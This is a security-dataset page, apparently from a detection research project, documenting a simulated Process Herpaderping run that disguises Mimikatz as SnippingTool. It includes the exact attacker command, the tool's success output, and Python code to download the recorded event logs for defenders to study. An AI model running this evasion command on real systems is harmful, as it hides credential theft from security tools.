Process Herpaderping Mimikatz#

Metadata#

Contributors

Roberto Rodriguez @Cyb3rWard0g

Creation Date

2020/10/26

Modification Date

2020/10/26

Tactics

TA0004,TA0005

Techniques

T1055

Tags

None

Dataset Description#

This dataset represents the execution of a Process Herpaderping to obscure the intentions of a process by modifying the content on disk after the image has been mapped.

Simulation Metadata#

Tools#

type

Name

Module

Manual

Cmd

Cmd

Adversary View#

C:\Users\wardog>cd Desktop

C:\Users\wardog\Desktop>ProcessHerpaderping.exe mimikatz.exe wardog.exe C:\Windows\system32\SnippingTool.exe
Process Herpaderping Tool - Copyright (c) 2020 Johnny Shaw
[12140:10252][OK]    Source File: "mimikatz.exe"
[12140:10252][OK]    Target File: "wardog.exe"
[12140:10252][INFO]  Copied source binary to target file
[12140:10252][INFO]  Created image section for target
[12140:10252][INFO]  Created process object, PID 8924
[12140:10252][INFO]  Located target image entry RVA 0x000c3aec
[12140:10252][OK]    Replacing target with "C:\Windows\system32\SnippingTool.exe"
[12140:10252][OK]    Preparing target for execution
[12140:10252][INFO]  Writing process parameters, remote PEB ProcessParameters 0x0000000000AED020
[12140:10252][INFO]  Creating thread in process at entry point 0x00007FF733E63AEC
[12140:10252][INFO]  Created thread, TID 12112
[12140:10252][OK]    Waiting for herpaderped process to exit
[12140:10252][OK]    Herpaderped process exited with code 0xc000013a
[12140:10252][OK]    Process Herpaderp Succeeded

C:\Users\wardog\Desktop>

Explore Datasets#

Download & Decompress Dataset#

import requests
from zipfile import ZipFile
from io import BytesIO

url = https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/defense_evasion/host/cmd_process_herpaderping_snippingtool.zip
zipFileRequest = requests.get(url)
zipFile = ZipFile(BytesIO(zipFileRequest.content))
datasetJSONPath = zipFile.extract(zipFile.namelist()[0])

Read JSON File#

from pandas.io import json

df = json.read_json(path_or_buf=datasetJSONPath, lines=True)

Access Security Events#

df.groupby(['Channel']).size().sort_values(ascending=False)